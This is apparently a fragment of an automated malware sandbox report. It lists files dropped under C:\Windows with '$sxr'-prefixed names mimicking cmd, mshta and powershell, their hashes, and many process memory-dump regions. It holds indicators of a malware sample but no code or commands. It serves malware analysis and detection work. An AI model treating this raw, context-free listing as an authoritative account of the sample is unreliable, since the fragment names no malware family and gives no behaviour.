SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\$sxr-cmd.exeFilesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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C:\Windows\$sxr-mshta.exeFilesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
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C:\Windows\$sxr-powershell.exeFilesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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memory/680-109-0x000002AC86080000-0x000002AC860A9000-memory.dmpFilesize
164KB
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memory/680-100-0x000002AC86050000-0x000002AC86073000-memory.dmpFilesize
140KB
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memory/680-102-0x000002AC86080000-0x000002AC860A9000-memory.dmpFilesize
164KB
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memory/680-108-0x00007FFD6E1D0000-0x00007FFD6E1E0000-memory.dmpFilesize
64KB
-
memory/680-110-0x000002AC86080000-0x000002AC860A9000-memory.dmpFilesize
164KB
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memory/680-101-0x000002AC86080000-0x000002AC860A9000-memory.dmpFilesize
164KB
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memory/740-134-0x0000023B5AC60000-0x0000023B5AC89000-memory.dmpFilesize
164KB
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memory/740-126-0x0000023B5AC60000-0x0000023B5AC89000-memory.dmpFilesize
164KB
-
memory/740-132-0x00007FFD6E1D0000-0x00007FFD6E1E0000-memory.dmpFilesize
64KB
-
memory/740-133-0x0000023B5AC60000-0x0000023B5AC89000-memory.dmpFilesize
164KB
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memory/956-114-0x000002697DFA0000-0x000002697DFC9000-memory.dmpFilesize
164KB
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memory/956-120-0x00007FFD6E1D0000-0x00007FFD6E1E0000-memory.dmpFilesize
64KB
-
memory/956-121-0x000002697DFA0000-0x000002697DFC9000-memory.dmpFilesize
164KB
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memory/956-122-0x000002697DFA0000-0x000002697DFC9000-memory.dmpFilesize
164KB
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memory/2436-17-0x00000246EEDC0000-0x00000246EEDC1000-memory.dmpFilesize
4KB
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memory/2436-21-0x00000246EEDC0000-0x00000246EEDC1000-memory.dmpFilesize
4KB
-
memory/2436-23-0x00000246EEDC0000-0x00000246EEDC1000-memory.dmpFilesize
4KB
-
memory/2436-24-0x00000246EEDC0000-0x00000246EEDC1000-memory.dmpFilesize
4KB
-
memory/2436-25-0x00000246EEDC0000-0x00000246EEDC1000-memory.dmpFilesize
4KB
-
memory/2436-26-0x00000246EEDC0000-0x00000246EEDC1000-memory.dmpFilesize
4KB
-
memory/2436-22-0x00000246EEDC0000-0x00000246EEDC1000-memory.dmpFilesize
4KB
-
memory/2436-27-0x00000246EEDC0000-0x00000246EEDC1000-memory.dmpFilesize
4KB
-
memory/2436-15-0x00000246EEDC0000-0x00000246EEDC1000-memory.dmpFilesize
4KB
-
memory/2436-16-0x00000246EEDC0000-0x00000246EEDC1000-memory.dmpFilesize
4KB
-
memory/2596-31-0x00007FFDAC1A0000-0x00007FFDAC25E000-memory.dmpFilesize
760KB
-
memory/2596-29-0x000001CA30AB0000-0x000001CA3159C000-memory.dmpFilesize
10.9MB
-
memory/2596-42-0x00007FF61B650000-0x00007FF61B6C1000-memory.dmpFilesize
452KB
-
memory/2596-43-0x000001CA32470000-0x000001CA32522000-memory.dmpFilesize
712KB
-
memory/2596-45-0x000001CA32560000-0x000001CA325B8000-memory.dmpFilesize
352KB
-
memory/2596-44-0x000001CA32520000-0x000001CA32556000-memory.dmpFilesize
216KB
-
memory/2596-46-0x000001CA325C0000-0x000001CA325EE000-memory.dmpFilesize
184KB
-
memory/2596-48-0x000001CA317F0000-0x000001CA317F8000-memory.dmpFilesize
32KB
-
memory/2596-49-0x0000000180000000-0x0000000180007000-memory.dmpFilesize
28KB
-
memory/2596-40-0x000001CA317B0000-0x000001CA317EE000-memory.dmpFilesize
248KB
-
memory/2596-39-0x000001CA316D0000-0x000001CA316D6000-memory.dmpFilesize
24KB
-
memory/2596-38-0x000001CA67190000-0x000001CA67198000-memory.dmpFilesize
32KB
-
memory/2596-37-0x000001CA316C0000-0x000001CA316C6000-memory.dmpFilesize
24KB
-
memory/2596-77-0x00007FFD8F1C3000-0x00007FFD8F1C5000-memory.dmpFilesize
8KB
-
memory/2596-78-0x00007FFD8F1C0000-0x00007FFD8FC81000-memory.dmpFilesize
10.8MB
-
memory/2596-1-0x000001CA67120000-0x000001CA67142000-memory.dmpFilesize
136KB
-
memory/2596-11-0x00007FFD8F1C0000-0x00007FFD8FC81000-memory.dmpFilesize
10.8MB
-
memory/2596-12-0x00007FFD8F1C0000-0x00007FFD8FC81000-memory.dmpFilesize
10.8MB
-
memory/2596-13-0x000001CA671D0000-0x000001CA67214000-memory.dmpFilesize
272KB
-
memory/2596-14-0x000001CA67640000-0x000001CA676B6000-memory.dmpFilesize
472KB
-
memory/2596-28-0x000001CA30000000-0x000001CA30AAC000-memory.dmpFilesize
10.7MB
-
memory/2596-41-0x000001CA31840000-0x000001CA3246C000-memory.dmpFilesize
12.2MB
-
memory/2596-0-0x00007FFD8F1C3000-0x00007FFD8F1C5000-memory.dmpFilesize
8KB
-
memory/2596-30-0x00007FFDAE150000-0x00007FFDAE345000-memory.dmpFilesize
2.0MB
-
memory/2596-32-0x000001CA315A0000-0x000001CA3169C000-memory.dmpFilesize
1008KB
-
memory/2596-33-0x000001CA316A0000-0x000001CA316C2000-memory.dmpFilesize
136KB
-
memory/2596-91-0x00007FFD8F1C0000-0x00007FFD8FC81000-memory.dmpFilesize
10.8MB
-
memory/2596-34-0x000001CA316E0000-0x000001CA316E6000-memory.dmpFilesize
24KB
-
memory/2596-36-0x000001CA31750000-0x000001CA317A8000-memory.dmpFilesize
352KB
-
memory/2596-35-0x000001CA316F0000-0x000001CA3174E000-memory.dmpFilesize
376KB
-
memory/4828-84-0x0000018B37C30000-0x0000018B37C36000-memory.dmpFilesize
24KB
-
memory/4828-812-0x0000018B5AB10000-0x0000018B5AB4C000-memory.dmpFilesize
240KB
-
memory/4828-97-0x0000000180000000-0x0000000180007000-memory.dmpFilesize
28KB
-
memory/4828-89-0x0000018B5A470000-0x0000018B5A522000-memory.dmpFilesize
712KB
-
memory/4828-88-0x0000018B5A0E0000-0x0000018B5A46C000-memory.dmpFilesize
3.5MB
-
memory/4828-87-0x0000018B59930000-0x0000018B5A0DE000-memory.dmpFilesize
7.7MB
-
memory/4828-86-0x0000018B593E0000-0x0000018B5992E000-memory.dmpFilesize
5.3MB
-
memory/4828-85-0x0000018B37EB0000-0x0000018B37EB6000-memory.dmpFilesize
24KB
-
memory/4828-92-0x0000018B5A560000-0x0000018B5A5CA000-memory.dmpFilesize
424KB
-
memory/4828-93-0x0000018B5A5D0000-0x0000018B5A612000-memory.dmpFilesize
264KB
-
memory/4828-81-0x00007FFDAE150000-0x00007FFDAE345000-memory.dmpFilesize
2.0MB
-
memory/4828-82-0x00007FFDAC1A0000-0x00007FFDAC25E000-memory.dmpFilesize
760KB
-
memory/4828-80-0x0000018B587F0000-0x0000018B58ED8000-memory.dmpFilesize
6.9MB
-
memory/4828-79-0x0000018B58140000-0x0000018B587E6000-memory.dmpFilesize
6.6MB
-
memory/4828-789-0x0000018B5A940000-0x0000018B5A990000-memory.dmpFilesize
320KB
-
memory/4828-791-0x0000018B5AA50000-0x0000018B5AB02000-memory.dmpFilesize
712KB
-
memory/4828-792-0x0000018B5ADA0000-0x0000018B5AF62000-memory.dmpFilesize
1.8MB
-
memory/4828-793-0x0000018B5A990000-0x0000018B5AA32000-memory.dmpFilesize
648KB
-
memory/4828-83-0x0000018B1D840000-0x0000018B1D862000-memory.dmpFilesize
136KB